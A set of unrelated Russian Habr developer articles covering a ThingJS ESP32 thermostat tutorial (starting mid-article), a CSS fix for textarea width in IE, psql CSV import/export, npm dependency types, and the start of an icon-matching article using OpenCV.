Метод приостанавливает на секунду обработку сообщений из шины. Затем, запрашивает текущее состояние.
```
onChangeTarget (val) {
this.$bus.$emit($consts.EVENTS.UBUS_MESSAGE, 'tmst-set-target', val);
this.flushData();
},
onChangeMode (val) {
this.$bus.$emit($consts.EVENTS.UBUS_MESSAGE, 'tmst-set-mode', val);
this.flushData();
}
```
При изменении параметров они передаются через шину на контроллер.
Вот в общем-то и все с frontend. Осталось “оживить” контроллер.
### requires
Перед модифицированием скрипта, необходимо сообщить платформе какие ресурсы требуются для работы приложения. Делается это через блок “requires”.
```
"requires": {
"interfaces": {
"mqtt": {
"type": "mqttc",
"required": true
},
"timers": {
"type": "timers",
"required": true,
"description": {
"ru": "Таймеры системы",
"en": "System timers"
}
},
"ds18x20": {
"type": "DS18X20",
"required": true
},
"relay": {
"type": "bit_port",
"required": true,
"default": 2,
"description": {
"ru": "Реле",
"en": "Relay"
}
},
"sys_info": {
"type": "sys_info",
"required": true,
"description": {
"ru": "Информация о системе",
"en": "System information"
}
}
}
}
```
В листинге описывается необходимость в ресурсах:
* **mqttc** — Интерфейс интеграции по MQTT протоколу. Потребуется приложению для дистанционного управления.
* **timers** — Системные таймеры. Скрипт будет ежесекундно проверять температуру с датчиков и принимать решение о включении или отключении нагрузки.
* **DS18X20** — Интерфейс к шине OneWire с подключенными датчиками температуры.
* **bit\_port** — Интерфейс дискретного управления каналом. Именно он будет управлять реле нагрузки.
* **sys\_info** — Интерфейс общесистемной информации. Необходим для получения уникального идентификатора устройства.
Скрипту предоставляются только те ресурсы, которые он затребовал. Требования могут быть обязательными и опциональными. Если требование опциональное, приложению может быть отказано в предоставлении этого ресурса. Обязательность ресурса определяется полем "required" в манифесте. В случае с термостатом все интерфейсы являются обязательными.
Может быть выделено несколько ресурсов одного и того же типа. Например, можно указать несколько ресурсов типа “DS18X20”. В этом случае, приложение получит возможность работать с несколькими шинами OneWire.
Возможно возникла некоторая путаница между ресурсами и интерфейсами. Интерфейс это контракт на предоставление ресурса. Интерфейс имеет документированные методы и позволяет через них работать с выделенным ресурсом. Таким образом, в манифесте указываются ресурсы как ключ структуры, например “relay”, а затем определяется интерфейс для ресурса через поле “type”. В случае с “relay” это “bit\_port”.
### scripts
Блок содержит информацию о скрипте исполняемом на стороне контроллера.
```
"scripts": {
"entry": "thermostat",
"subscriptions": ["tmst-refresh-state", "tmst-set-target", "tmst-set-mode"],
"modules": {
"thermostat": {
"hot_reload": true,
"source": "scripts/thermostat.js",
"optimize": false
}
}
},
```
* **entry** — Точка входа при выполнении скриптов. Содержит идентификатор модуля. Модулей скриптов может быть несколько. Поле необходимо для указания платформе с какого скрипта начинать выполнение.
* **subscriptions** — Подписка на события в шине. Скрипт начнет выполняться только при наступлении какого-то из описанных событий. Пока событие не наступило, скрипт находится в “спячке”. Это позволяет оптимизировать использование ресурсов в платформе.
* **modules** — Список моделей скриптов.
+ **thermostat** — идентификатор модуля.
+ **hot\_reload** — Признак “горячей” загрузки скриптов на контроллер. Если он установлен в true, изменении скрипта в проекте будут тут же загружаться на контроллер. Скрипт будет перезапускаться. Для работы фичи требуется запущенный dev-сервер.
+ **source** — Путь к коду модуля.
+ **optimize** — Если true, скрипт будет оптимизироваться средствами webpack.
Для начала необходимо переименовать файл “scripts/blink.js” в “scripts/thermostat.js”. Теперь в коде определить константы.
```
let MQTT_SERVER = 'wss://mqtt.eclipse.org:443/mqtt';
```
Определяет адрес MQTT брокера. Нежелательно использовать этот сервер при реальной эксплуатации. Он не использует авторизацию. Любой может повлиять на работу вашей системы. Есть масса MQTT брокеров с регистрацией, которые вы сможете сможете использовать без риска.
```
let CHIP_ID = $res.sys_info.chip_id;
```
Это первый случай использования подключенного ресурса в скрипте. Все выделенные ресурсы доступны через глобальную переменную $res. Ключом ресурса является ключ указанный в манифесте. В данном случае через ресурс sys\_info константа инициализируется уникальным идентификатором устройства. Он потребуется для определения топиков MQTT брокера.
```
let TOPIC_TEMP = '/thingjs/' + CHIP_ID + '/temp';
let TOPIC_TARGET_OUT = '/thingjs/' + CHIP_ID + '/target/out';
let TOPIC_TARGET_IN = '/thingjs/' + CHIP_ID + '/target/in';
let TOPIC_MODE_OUT = '/thingjs/' + CHIP_ID + '/mode/out';
let TOPIC_MODE_IN = '/thingjs/' + CHIP_ID + '/mode/in';
let TOPIC_MODE_STATE = '/thingjs/' + CHIP_ID + '/state';
```
Константы определяют топики MQTT брокера. Некоторый топики имеют постфиксы “out” и “in”. Они указывают направление данных относительно контроллера. out — из контроллера, in — в контроллер.
Константы режимов работы:
```
// Включение нагрузки если значение целевой температуры выше фактической. Актуально для нагревателей.
let MODE_LESS = 0;
// Включение нагрузки если значение целевой температуры ниже фактической. Актуально для охладителей.
let MODE_MORE = 1;
// Принудительное включение нагрузки.
let MODE_ON = 2;
// Принудительное отключение нагрузки.
let MODE_OFF = 3;
```
Переменные:
```
// Флаг установленного соединения с MQTT брокером
let isConnected = false;
// Текущий режим работы
let mode = MODE_LESS;
// Целевая температура
let target = 32;
// Состояние нагрузки
let state = 0;
// Адрес сенсора температуры
let sensor = null;
// Текущая температура
let temp = null;
// Если сенсор не найден, приложение будет эмулировать его наличие через эту переменную. Используется для демонстратора. В “боевом” приложении этот функционал следует удалить.
let fakeVector = 0.5;
```
Начинается самое интересное. Вызывается функция поиска датчиков на шине OneWire. В переменную sensor записывается адрес первого найденного датчика.
```
$res.ds18x20.search(function (addr) {
if (sensor === null) {
sensor = addr;
}
});
function publishState () {
$bus.emit('thermostat-state', JSON.stringify({
connected: isConnected,
mode: mode,
target: target,
temp: temp,
state: state,
chip_id: CHIP_ID
}));
if (isConnected) {
$res.mqtt.publish(TOPIC_MODE_OUT, JSON.stringify(mode));
$res.mqtt.publish(TOPIC_TARGET_OUT, JSON.stringify(target));
$res.mqtt.publish(TOPIC_MODE_STATE, JSON.stringify(state));
$res.mqtt.publish(TOPIC_TEMP, JSON.stringify(temp));
}
}
```
**publishState** публикует состояние термостата сразу в два места:
* **В шину данных UBUS**. Эта шина является встроенной в платформу. Нет необходимости указывать потребность в ней в манифесте. Публикуемые данные получат все, кто подписался на это события. Как скрипты на стороне контроллера, так и на стороне frontend. Именно так скрипт на контроллере общается с frontend.
* **В MQTT брокер**. Эта публикация является опциональной. Она происходит только при активном соединении с брокером.
Далее устанавливаются обработчики событий MQTT клиента:
```
// При установке соединения происходит подписка на топики
$res.mqtt.onconnected = function () {
print('MQTT client is connected');
isConnected = true;
$res.mqtt.subscribe(TOPIC_TARGET_IN);
$res.mqtt.subscribe(TOPIC_MODE_IN);
publishState();
};
// Отслеживается разрыв соединения и меняется online статус
$res.mqtt.disconnected = function () {
print('MQTT client is disconnected');
isConnected = false;
publishState();
};
// Получение данных по подписке с MQTT брокера
$res.mqtt.ondata = function (topic, data) {
print('MQTT client received from topic [', topic, '] with data [', data, ']');
if (topic === TOPIC_TARGET_IN) {
target = JSON.parse(data);
} else if (topic === TOPIC_MODE_IN) {
mode = JSON.parse(data);
}
};
```
Получение данных из шины UBUS. События будут поступать только те, на которых оформлена подписка в манифесте.
```
$bus.on(function (event, data) {
if (event === 'tmst-set-target') {
target = JSON.parse(data);
} else if (event === 'tmst-set-mode') {
mode = JSON.parse(data);
}
publishState();
}, null);
```
Ежесекундно происходит оценка текущей ситуации и принимается решения в соответствии с установленным режимом.
```
$res.timers.setInterval(function () {
if (sensor !== null) {
$res.ds18x20.convert_all();
temp = $res.ds18x20.get_temp_c(sensor);
} else { // Fake temperature
if (temp > 99) {
fakeVector = -0.5;
} else if (temp < 1) {
fakeVector = 0.5;
}
temp += fakeVector;
}
// Refresh sensor data
if (mode === MODE_ON) {
state = 1;
} else if (mode === MODE_OFF) {
state = 0;
} else if (mode === MODE_LESS) {
if (temp < target) {
state = 1;
} else {
state = 0;
}
} else if (mode === MODE_MORE) {
if (temp > target) {
state = 1;
} else {
state = 0;
}
}
publishState();
// По результату принятого решения нагрузка включается или выключается
$res.relay.set(!state);
}, 1000);
```
Последние штрихи:
```
// Устанавливается начальное значение температуры для демонстратора.
temp = 34.5;
// Конфигурируется выход GPIO
$res.relay.direction($res.relay.DIR_MODE_OUTPUT);
// Публикуется начальное состояние
publishState();
// Запускается процесс установки соединения с MQTT сервером.
$res.mqtt.connect(MQTT_SERVER);
```
### Мультиязычность
В платформе предусмотрена мультиязычность. Она реализуется через VUE фильтры. Использование этой фичи выглядит так:
```
{{ 'TITLE'|lang }}
==================
```
Языковые константы содержатся в файле langs.js и подключаются при инициализации frontend компонента.
### favicon
Для узнаваемости приложений используются ассоциативные иконки. Иконка размещается в файле favicon.svg Иконка будет демонстрироваться пользователю на рабочей столе и при установке приложения.
Сборка приложения
-----------------
Сборка приложений происходит пакетно. Т.е. собираются все приложения которые есть в папке /src/applications/. Для начала сборки необходимо выполнить стандартную команду npm
`npm run build`
Результатом станет генерация smt файлов. Одним из которых будет thermostat.smt Это и есть собранное и готовое к установке приложение Thermostat. Найти сборки можно в папке /dist/apps/
Развертывание приложения на контроллере
---------------------------------------
Тут все просто. Необходимо зайти на контроллер по WEB. Перейти в раздел “Настройки” и на плитке “Приложения” кликнуть ссылку “Установить приложение”. В открывшемся окне выбрать файл thermostat.smt.
Когда файл будет выбран, платформа предложит распределить запрашиваемые приложением ресурсы. Некоторые требования не используют аппаратные ресурсы. К таким относятся, например, таймеры или MQTT клиент. Другие используют. Например, для подключения шины OneWire требуется указать UART порт и GPIO на которых будет реализована шина. Также, требуется определить GPIO на котором будет реле управляющее нагрузкой.
Для удобства пользователя все назначения можно указать в поле default требования. В этом случае, пользователю останется только нажать кнопку “Установить”. При этом у него остается возможность переконфигурировать приложение по своему усмотрению.
Такой подход решает несколько задач:
1. **Разделение ресурсов и многозадачность.** На контроллере можно устанавливать несколько приложений распределяя между ними ресурсы.
2. **Безопасность и прозрачность.** Пользователь имеет полную информацию о доступных ресурсах для приложения.
3. **Кроссплатформенность.** Приложение заявляет о необходимых ресурсах, а предоставляет их конкретная реализация платформы на контроллере.
Контроль совместимости. Приложение не будет установлено на контроллеры, которые не предоставляют обязательные для приложения ресурсы.
При необходимости пользователь может удалить приложение. Переконфигурирование приложений решается через перестановку.
Использование приложения
------------------------
Приложение делится на две секции: управление термостатом и интеграция по MQTT. Плашка управления содержит индикаторы текущей температуры, статус нагрузки и интеграции через MQTT.
Ниже находятся элементы конфигурирования. Слева выпадающий список доступных режимов. Справа целевая температура.
Плашка интеграции содержит необходимую информацию по подключению консоли удаленного управления к устройству. Ее использование подробно будет описано ниже.
Подключение дистанционной консоли
---------------------------------
На плашке интеграции есть перечень рекомендованных приложений для телефонов Android. В примере будет рассмотрено приложение [MQTT Dash](https://play.google.com/store/apps/details?id=net.routix.mqttdash).
Для подключения консоли убедитесь, что устройство находится в сети. Об этом говорит наличие IP выданного вашей сетью. Найти его можно слева внизу.
Установите понравившееся вам приложение. Создайте новое соединение с MQTT брокером.
Войдите в созданное подключение. Откроется пустой дашборд. Теперь необходимо добавить виджеты. Для начала добавим текущую температуру.
Информация для заполнения полей топиков находится на плашке интеграции. Для температуры есть только один топик — /thingjs/TJS-030BE4/temp Тут данные только для чтения.
Сохраните параметры виджета. Если все прошло удачно, вы тут же увидите результат — текущую температуру с устройства.
Теперь добавим управление целевой температурой (порогом).
Здесь потребуется указать топик для входящих и исходящих данных. Информацию об этих топиках также на плашке интеграции. Постфиксы out и in определяют направление данных относительно контроллера.
После того как вы добавите оставшиеся виджеты, вы получите управление термостатом с телефона из любого места, где доступен Интернет.
Приятного использования!
Безопасность
------------
В какой-то степени проект затевался ради созания островка безопасности в IoT. Дело в том, что сейчас огромная масса различных устройств из поднебесной, в которых используются прошивки о безопасности которых просто невозможно судить.
Не для кого не станет сенсацией, если в очередной железке обнаружится бэкдор.
Краеугольным камнем безопасности платформы являются манифесты. Если приложению нужен какой-то ресурс, он должен быть затребован в манифесте. При установке пользователь будет извещен о всех ресурсах, которые предполагает использовать приложение. Такой подход позволяет утверждать, что приложение будет прозрачным для пользователя.
В перспективе планируется ЭЦП приложений и прошивок.
Что дальше?
===========
* Поиск партнеров;
* Стабилизация кода и повышение надежности;
* Создание собственных облачных сервисов, где смогут хостится приложения;
* Установка приложений на мобильные устройства;
* Разработка и выпуск ThingJS dev-kit для любителя;
* Интеграция с популярными IoT экосистемами;
* Внедрение голосового управления.
Ссылки
======
Ресурсы проекта ThingJS:
* [Сайт](http://thingjs.io/)
* [Группа Telegram](https://t.me/thingjs)
Репозитории проекта ThingJS:
* [Пользовательский пакет](https://github.com/rpiontik/ThingJS-user-packet/tree/beta)
* [Среда разработки приложений](https://github.com/rpiontik/ThingJS-front/tree/beta)
* [Среда разработки прошивок](https://github.com/rpiontik/ThingJS-template/tree/beta)
Где **уже** используется платформа:
* [Smargus](http://ivanolab.com/smargus)
Где будет использоваться:
* [cyber punk me](https://github.com/cyber-punk-me)
Используемые проекты:
* [ESP32](https://en.wikipedia.org/wiki/ESP32)
* [esp-idf](https://docs.espressif.com/projects/esp-idf/en/latest/get-started/)
* [Mongoose WEB Server](https://github.com/cesanta/mongoose)
* [mJS](https://github.com/cesanta/mjs)
* [VUE 2](https://vuejs.org/v2/guide/)
* [vuetifyjs](https://vuetifyjs.com/ru/getting-started/quick-start) | https://habr.com/ru/post/521174/ | null | ru | null |
# Лечим 100%-широкий textarea, попавший под padding в IE (на Хабре тоже)
Столкнулся в очередной раз с проблемой, возникающей при попытке задать 100%-ю ширину элементу, расположенному в блоках, которые имеют ненулевые padding-и или margin-ы. В случае с textarea получается следующее: при первом отображении ширина устанавливается такая, как было задумано, ничего нигде не вылазит, но стоит только что-то набрать — поле расширяется за пределы блока, в который оно вставлено (только ИЕ).
В этот раз искать обходные пути, не содержащие отступов и хаки (типа "// width: 90%"), не собирался, — дерево комментариев — не место для извращений. Перепробовал разные варианты, но моё поле ввода всё-равно частично пряталось под границами родительского элемента (либо вылазило поверх него).
Вспомнил про Хабр, полез в код, а там форма засунута в . Хм, думаю, а чего у меня это не работало? Открываю Хабр в ИЕ6 — так и тут не работает:
В результате проб и ошибок пришёл к такому решению:
`#comment_form .textarea { position: relative; height: 64px; margin-bottom: 8px; }
#comment_form .textarea textarea { position: absolute; width: 100%; height: 64px; }` | https://habr.com/ru/post/22764/ | null | ru | null |
# Импорт и экспорт данных в PostgreSQL, гайд для начинающих
В процессе обучения аналитике данных у человека неизбежно возникает вопрос о миграции данных из одной среды в другую. Поскольку одним из необходимых навыков для аналитика данных является знание SQL, а одной из наиболее популярных СУБД является PostgreSQL, предлагаю рассмотреть импорт и экспорт данных на примере этой СУБД.
В своё время, столкнувшись с импортом и экспортом данных, обнаружилось, что какой-то более-менее структурированной инфы мало: этот момент обходят на всяких там курсах по аналитике, подразумевая, что это очень простые моменты, которым не следует уделять внимание.
В данной статье приведены примеры импорта в PostgreSQL непосредственно самой базы данных в формате sql, а также импорта и экспорта данных в наиболее простом и распространенном формате .csv, в котором в настоящее время хранятся множество существующих датасетов. Формат .json хоть и является также очень распространенным, рассмотрен не будет, поскольку, по моему скромному мнению, с ним все-таки лучше работать на Python, чем в SQL.
### 1. Импорт базы данных в формате в PostgreSQL
Скачиваем (получаем из внутреннего корпоративного источника) файл с базой данных в выбранную папку. В данном случае путь:
`C:\Users\User-N\Desktop\БД`
Имя файла: *demo-big-20170815*
Далее понадобиться командная строка windows или SQL shell (psql). Для примера воспользуемся cmd. Переходим в каталог, где находится скачанная БД, командой `cd C:\Users\User-N\Desktop\БД :`
Далее выполняем команду для загрузки БД из sql-файла:
`"C:\Program Files\PostgreSQL\10\bin\psql" -U postgres -f demo-big-20170815.sql`
Где сначала указывается путь, по которому установлен PostgreSQL на компьютере, `-U` – имя пользователя, `-f` - название файла БД.
Отметим, что в зависимости от размера базы данных загрузка может занимать до нескольких десятков минут. Конец загрузки будет отмечен следующим видом:
Заходим в pgAdmin и наблюдаем там импортированную БД:
 С таблицами:
### 2. Импорт данных из csv-файла
Предполагается, что у вас уже есть необходимый .csv-файл, и первое, что нужно сделать, это перейти pgAdmin и создать там новую базу данных. Ну или воспользоваться уже существующей, в зависимости от текущих нужд. В данном случае была создана БД airtickets.
В выбранной БД создается таблица с полями, типы которых должны соответствовать «колонкам» в выбранном .csv-файле.
Далее воспользуемся SQL shell (psql) для подключения к нужной БД и для подачи команд на импорт данных. При открытии SQL shell (psql) она стандартно спросит про имя сервера, имя подключаемой БД, порт и пользователя. Ввести нужно только имя БД и пароль пользователя, всё остальное проходим нажатием ентра. Создается подключение к нужной БД – airtickets.
Ну и вводим команды на импорт данных из файла:
`\COPY tickets FROM ‘C:\Users\User-N\Desktop\CSV\ticket_dataset_MOW.csv’ DELIMITER ‘,’ CSV HEADER;`
Где `tickets` – название созданной в БД таблицы, из – путь, где хранится .csv-файл, `DELIMITER ‘,’` – разделитель, используемый в импортируемом .csv-файле, сам формат файла и `HEADER`, указывающий на заголовки «колонок».
Один интересный момент. Написание команды `COPY` строчными (маленькими) буквами привело к тому, что psql ругнулся, выдал ошибку и предложил написать команду прописными буквами.
Заходим в pgAdmin и удостоверяемся, что данные были загружены.
### 3. Экспорт данных в .csv-файл
Предположим, нам надо сохранить таблицу airports\_data из уже упоминаемой выше БД demo.
Для этого подключимся к БД demo через SQL shell (psql) и наберем команду, указав уже знакомые параметры разделителя, типа файла и заголовка:
`\COPY airports_data TO ‘C:\Users\User-N\Desktop\CSV\airports.csv’ DELIMITER ‘,’ CSV HEADER;`
Существует и другой способ экспорта через pgAdmin: правой кнопкой мыши по нужной таблице – экспорт – указание параметров экспорта в открывшемся окне.
### 4. Экспорт данных выборки в .csv-файл
Иногда возникает необходимость сохранить в .csv-файл не полностью всю таблицу, а лишь некоторые данные, соответствующие некоторому условию. Например, нам нужно из БД demo таблицы flights выбрать поля flight\_id, flight\_no, departure\_airport, arrival\_airport, где departure\_airport = 'SVO'. Данный запрос можно вставить сразу в команду psql:
`\COPY (SELECT flight_id, flight_no, departure_airport, arrival_airport FROM flights WHERE departure_airport = 'SVO') TO ‘C:\Users\User-N\Desktop\CSV\flights_SVO.csv' CSV HEADER DELIMITER ',';`
Вот такой небольшой гайд получился. | https://habr.com/ru/post/658153/ | null | ru | null |
# Зависимости JavaScript: Все, что вы когда-либо хотели знать, но боялись спросить
Ваше подробное руководство по пяти типам зависимости
----------------------------------------------------
> *Привет, хабровчане. Для будущих учащихся на курсе* [*"JavaScript Developer. Professional"*](https://otus.pw/Crj1/) *подготовили перевод материала.
>
> Также приглашаем всех желающих на открытый вебинар по теме* [*«Vue 3 — возможности новой версии одного из самых популярных фронтенд фреймворков»*](https://otus.pw/Sbdr/)*. На занятии участники вместе с экспертом:
> — рассмотрят ключевые отличия в синтаксисе vue2 от vue3;
> — разберут, как работать с vue-router и VueX в новой версии фреймворка;
> — cоздадут проект на Vue 3 с нуля с помощью Vue-cli.*
>
>
---
Независимо от того, являетесь ли Вы back-end разработчиком, работающим с Node.js, или front-end разработчиком, использующим Node.js только в качестве инструмента для пакетирования и комплектации, Вы наверняка наткнулись на систему зависимостей.
Но почему их 5 типов (да, это не опечатка, есть 5 типов зависимостей), и для какого случая они используются? На эти вопросы мы ответим сегодня, так что сядьте поудобнее и расслабьтесь, потому что это будет интересно.
**. . .**
### Normal (runtime) dependencies (cтандартные (во время выполнения программы) зависимости)
Давайте начнем с простого, хорошо?
Стандартные зависимости — это те, которые вы видите в списке "dependencies" в вашем файле `package.json`. В большинстве случаев они указывают только имя (для своего ключа) и версию (значение), а затем NPM (node package manager или любой другой менеджер пакетов) позаботится об их захвате из глобального регистра (на `npmjs.org`).
Однако, это еще не все. Вместо точного номера версии вашей зависимости вы можете указать:
* **Примерный вариант.** Вы можете работать с обычными числовыми операторами сравнения, указывая версии больше одного определенного числа (т.е. >1.2.0 ), любой версии ниже или равной другому числу (т.е. <=1.2.0 ), а также можете обыгрывать любую из их комбинаций (т.е. >= , > , <) . Вы также можете указать эквивалентную версию с помощью оператора ~ перед номером версии (т.е. "lodash":"~1.2.2, который загрузит что угодно между 1.2.2 и 1.3.0 или, другими словами, только патчи). И мы также можем указать "совместимую" версию с другим номером, который использует [semver](https://docs.npmjs.com/cli/v6/using-npm/semver) для понимания совместимости (т.е. "lodash": "^1.2.0", которая не загрузит ничего, из того что включает в себя изменение с нарушением или отсутствием каких-либо функций).
* **URL-АДРЕС**. Правильно, вы даже можете обойтись без версии и напрямую ссылаться на определенный URL, по сути загрузив этот модуль откуда-нибудь еще (например, с Github или напрямую скачав tarball-файл).
* **Локальный файл**. Да, вы даже можете непосредственно обращаться к одному из ваших локальных файлов. Это очень удобно, если вы разрабатываете модуль и хотите протестировать его на проекте, прежде чем выпускать его на NPM. С помощью опции "Локальный файл" вы можете сделать ссылку на папку вашего локального модуля. Вы можете использовать как полный, так и частичный пути, при условии, что вы используете префикс-функцию с помощью `file://` .
**Когда ты будешь использовать стандартные зависимости?**
Стандартные зависимости будут содержать все, что требуется вашему проекту для работы, и что не может быть предоставлено другим модулем.
Это может показаться простым, но если, например, ваш проект на самом деле является модулем, то вам нужно более внимательно разобраться в том, что это значит. Если ваш модуль предназначен для использования с другими проектами, такими как React или Babel, ваши зависимости не должны включать их, так как они, как предполагается, уже присутствуют, тем не менее, они все равно нужны (мы это увидим позже, где они появятся через секунду).
Так что, помните, если это абсолютно необходимо для работы вашего проекта, и вы не можете рассчитывать на то, что другая библиотека включит их, то они должны быть включены в ваш список зависимостей.
**. . .**
### Peer dependencies (Равные зависимости)
Peer dependencies — это особый вид зависимостей, в том смысле, что они предназначены для указания тех пакетов, которые требуются вашему проекту, или, вернее, с которыми он совместим. Тем не менее, вы можете не запрашивать их конкретно в своем коде.
Подождите, зависимость, которая вам не требуется? Я знаю, это звучит странно, но подумайте о плагине Babel, он нуждается в Babel в том смысле, что если его там нет, то он не сможет работать, однако, он может и не требовать Babel явно для чего-либо.
Теперь, потенциально, вы можете добавить Babel в список стандартных зависимостей, однако, при установке плагина, он также попытается установить Babel. И если вы используете, например, NPM, он установит его как локальную зависимость вашего плагина, что означает — он будет дублировать уже существующую установленную Babel для хост-проекта, находящегося в папке плагина.
**Когда ты будешь использовать Peer dependencies?**
Вы можете прочитать больше о [Peer dependencies здесь](https://blog.bitsrc.io/understanding-peer-dependencies-in-javascript-dbdb4ab5a7be), однако, поймите, что вы будете использовать их только тогда, когда нужно указать на недостаточно прочную связь с другим проектом.
**Другими словами:**
* Когда она вам нужна, но нет необходимости употреблять ее сразу и однозначно. Тогда это peer dependency.
* Когда она вам нужна, но она уже должна быть установлена другим проектом. Тогда это peer dependency.
Примерами того, когда вы хотите использовать peerDependencies, являются:
* [**Babel плагины.**](https://babeljs.io/docs/en/plugins) Ты хочешь декларировать такие же вещи, как и сам Babel, в качестве равной зависимости (peer dependency).
* Express middleware packages (Экспресс-пакеты для промежуточной обработки): Это всего лишь один пример модуля NPM, который требует использования peer dependencies. Вы хотите определить приложение [Express](https://expressjs.com/) как зависимость, но не жесткую, в противном случае каждое промежуточное ПО (middleware) будет каждый раз инсталлировать всю структуру заново.
* Если вы собираете Micro Frontend (Микрофронтенд), пытаясь решить, какие зависимости являются внешними (чтобы они не были связаны), а какие нет. Peer dependencies могут быть хорошим решением для этого.
* [**Bit components**](https://bit.dev/)**.** Если вы создаете и публикуете front-end компоненты, например, когда вы совместно используете React-компоненты на [Bit](https://bit.dev/) ([Github](https://github.com/teambit/bit)), вам нужно назначить react библиотеку как peer dependency. Это позволит удостовериться, что нужная библиотека доступна в хостинговом проекте без установки ее в качестве прямой зависимости от него.
Например, взгляните на этот React компонент, который я опубликовал некоторое время назад: это простая кнопка, которую можно выбрать (вы нажимаете на нее и она остается выбранной до тех пор, пока не будет нажата снова).
Снимок экрана [component](https://bit.dev/), как видно на [Bit’s component hub](https://bit.dev/).
Если вы установите его, вы получите полный код, который содержит файл package.json, в котором перечислены все peer dependencies:
Обратите внимание, что пакет не имеет прямой зависимости, несмотря на то, что для работы ему необходима React-библиотека.
Это также помогает сохранить размер нашего компонента как можно меньше (1KB) — ничего лишнего не добавляется.
**. . .**
### Dev Dependencies (Dev зависимости)
Имя говорит обо всем, не так ли? Я имею в виду, что так и должно быть, но когда имена действительно помогают нам, разработчикам, в нашей повседневной работе? *Я точно знаю.*
Зависимости процесса разработки (Development dependencies) предназначены для того, чтобы содержать только те модули, которые вы используете на этапе разработки вашего проекта.
Да, но есть и другие, например, инструменты для подшивки (linting tools), документация и тому подобное.
Дело в том, что если вы можете запустить проект без использования этого набора инструментов, тогда это dev dependency.
Принцип их работы заключается в том, что зависимости разработки устанавливаются только при запуске `npm install` или `npm link` **из корневой папки вашего проекта**.
Подумайте об этом, в этом случае имеет смысл установить их, так как вы разрабатываете свой собственный проект. Но если вы устанавливаете свой проект внутри другого, то этот процесс будет игнорировать *ваши* dev dependencies.
**Когда ты будешь использовать dev dependencies?**
Любая зависимость, которая не требуется для производственного процесса, скорее всего, будет считаться dev dependencies (зависимости развития).
Дело в том, что это отлично работает для всех модулей, кроме вашего хост-проекта.
Все установленные внутри хост-проекта зависимости будут пропускать dev-зависимости модулей во время инсталляции, но всякий раз, когда вы повторно запускаете `npm install` в хост-проекте, он будет устанавливать заново все пропущенные ранее dev-зависимости модулей.
Поэтому рассмотрим использование Dev зависимостей только для пакетов и модулей, которые будут использоваться другими проектами.
**. . .**
### Связанные зависимости (Bundled Dependencies)
Они предназначены для тех случаев, когда вы упаковываете свой проект в один файл. Это делается с помощью команды `npm pack`, которая превращает вашу папку в тарбол (tarball-файл).
Теперь, если вы сделаете это и добавите имена некоторых из ваших зависимостей в массив под названием `bundledDependencies` (забавный факт: если вы используете `bundleDependencies`, это тоже будет работать), то тарбол также будет содержать эти зависимости внутри этого массива.
```
{
...
"dependencies": {
"lodash": "1.0.2",
"request": "4.0.1"
},
"bundledDependencies": ["lodash"]
...
}
```
Посмотрите на эту часть файла `package.json`, с такой установкой, при запуске команды `npm pack` вы получите файл `tarball`, также содержащий пакет `lodash` внутри.
Это очень удобно при распространении ваших пакетов в однофайловом формате (помните, что вы также можете указать их URL или локальный путь как стандартную зависимость).
**. . .**
### Дополнительные зависимости (Optional dependencies)
Наконец, этот тип зависимостей такой же, как и обычные, они ведут себя и могут быть настроены точно таким же образом. Единственная разница? NPM не выйдет с ошибкой, в случае, если не сможет установить их.
Обычно, когда вы запускаете `npm install` и процесс не может установить обычную зависимость по какой-либо причине (будь то из-за сбоя в сети, не может найти файл, версию или что-нибудь ещё), то он выдаст ошибку и отменит процесс установки.
Дополнительные зависимости вместо этого позволят NPM продолжать работу. Конечно, вы отвечаете за написание кода, который способен справиться с этими отсутствующими зависимостями, например:
```
let foo = null;
try {
foo = require("foo-dep");
} catch (e) {
foo = require("./local-polyfill")
}
//... use foo from here on out
```
**Когда вы будете использовать дополнительные зависимости (optional dependencies)?**
Очевидный пример использования этого типа зависимостей — когда вы используете ненадежный источник. Я спрашиваю, зачем это делать? Хороший вопрос. Понятия не имею, но вы определенно можете это сделать, единственная проблема в том, что вам нужно убедиться, что ваш код может с этим справиться, если отсутствуют зависимости.
Но другой интересный вариант использования, это установка действительно необязательных зависимостей (optional dependencies). Я имею в виду, что иногда у вас могут быть специфические для системы зависимости, для таких вещей, как совместимость с CI(Continuous Integration)-платформой. В таких сценариях, когда используете платформу, вы захотите установить эти зависимости, в другом случае, проигнорируете.
Для таких ситуаций можно использовать обычную `npm install`, когда вы используете полный набор зависимостей, а затем использовать `npm install --no-optional`, когда вы хотите избежать их. Таким образом, вы пропустите эти опции и сосредоточитесь только на обязательных зависимостях.
**. . .**
Каждый, кто когда-либо пользовался NPM в тот или иной момент, слышал о стандартных и dev-зависимостях. Остальные 3, однако, можно считать менее популярными собратьями.
Хотя некоторые из них действительно сосредоточены на очень специфических сценариях, они могут быть очень удобны, когда с ними сталкиваешься.
Знали ли вы, что у вас так много вариантов? Оставьте комментарий ниже, если вы использовали некоторые из менее распространенных и расскажите нам, как вы их использовали!
---
> Узнать подробнее о курсе ["JavaScript Developer. Professional"](https://otus.pw/Crj1/).
>
> Смотреть открытый вебинар по теме [«Vue 3 — возможности новой версии одного из самых популярных фронтенд фреймворков»](https://otus.pw/Sbdr/).
>
> | https://habr.com/ru/post/545008/ | null | ru | null |
# Группируем одинаковые приложения из разных магазинов по иконке
Однажды случилось мне несчастье обратить свой взор на одну заманчивую вакансию. Все бы ничего, но, как обычно, подкинули тестовое задание. Если кратко, то нужно было сгруппировать ссылки на одно и тоже приложение в разных маркетах. По ссылкам были такие приложения как Skype, Skype WiFi, Skype Qik, Viber, и две игры с одинаковым названием Skyward. Среди магазинов были Google Play, App Store и маркет Windows Phone. В задании было так же описание граблей, мол, не надо особо привязываться на названия приложений, название компании разработчика и т.д. «Но ведь одинаковые приложения легко узнаваемы на разных платформах тупо по иконке» — подумал я, и полез выяснять детали. Но не все так просто.
Так выглядят иконки в разных магазинах для вибера и скайпа:
Иконки, увы, отличаются по цветовому набору и размеру. Первоначальная идея захешировать иконки и сравнить хеши, конечно, еще послужит, но не в этом случае. Изначально я совершил ошибку, вытащив для анализа иконки, которые показываются у меня в браузере, и они достаточно маленького размера. Несколько позже, покопавшись, я нашел размеры от 300 до 350 пикселей, что добавило точности в измерениях. Вообще, код, которым тащатся картинки, достаточно прост.
Для моей задачи я сгуглил библиотеку OpenCV. Это очень навороченный инструмент для различного анализа изображений. Изначально я настолько увлекся, что полез изучать feature matching, но это несколько не то, что было нужно. А нужно мне было выделить контуры на изображениях и как-то их сравнить.
Чтобы построить контуры, надо соответствующе подготовить изображение — выделить на нем границы. Для этого используем детектор границ Кенни(Canny). Может быть правильно будет Канни, не знаю. Работает он вот так:
В случае с иконкой скайпа получились следующие результаты:
